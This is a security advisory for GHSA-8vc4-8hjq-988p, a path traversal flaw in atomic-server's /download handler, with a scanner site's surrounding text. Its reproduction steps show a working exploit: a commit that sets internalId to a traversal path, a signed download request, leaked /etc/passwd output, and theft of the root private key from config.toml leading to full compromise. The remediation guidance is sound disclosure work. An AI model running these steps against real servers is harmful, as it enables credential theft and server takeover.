Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)GHSA-8vc4-8hjq-988p
HIGHFix: ontola/atomic-server@59d067cGHSA-8vc4-8hjq-988p is a high-severity (CVSS 8.1) Path Traversal vulnerability in atomic-server. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Real-World Exposure
atomic-serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.
Affected component
server/src/handlers/download.rs:56-65—file_path.push(internal_id)+NamedFile::open, no sanitization, noFile-class check.lib/src/commit.rs(apply_changes) — sets any property; no server-managed-property denylist.
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).
- Create a resource and set
internalIdto a traversal path — sign the Commit andPOST /commit(200):
subject = http://localhost:9883/pwnfile
set = {
"https://atomicdata.dev/properties/parent": "http://localhost:9883",
"https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
- Download it. The auth signature is over the resolved subject (the server strips the
/downloadprefix →http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>
Response 200 OK returns the host /etc/passwd:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
- Escalate — set
internalId = /atomic-storage/config/config.toml(absolute path) and download again:
server = "http://localhost:9883"
agent = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY" # server root agent key
- Using the stolen key, the attacker signs a Commit with
signer = <root agent>→POST /commit(200) edits data as root. Full compromise.
Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path.
Actual: Arbitrary host file read, including the root private key.
Impact
Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.
Remediation
- In
download.rs:sanitize_filename(internal_id), thencanonicalizeand assert the resolved path stays withinuploads_pathbefore opening; verify the resource is aFile. - Add a server-managed-property denylist (
internalId, rights arrays, etc.) inlib/src/commit.rsso clients cannot set them.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | atomic-server | ≥ 0.30.0 | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for atomic-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of atomic-server for GHSA-8vc4-8hjq-988p. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-8vc4-8hjq-988p in your dependencies?
Find it across crates.io, including transitive dependencies.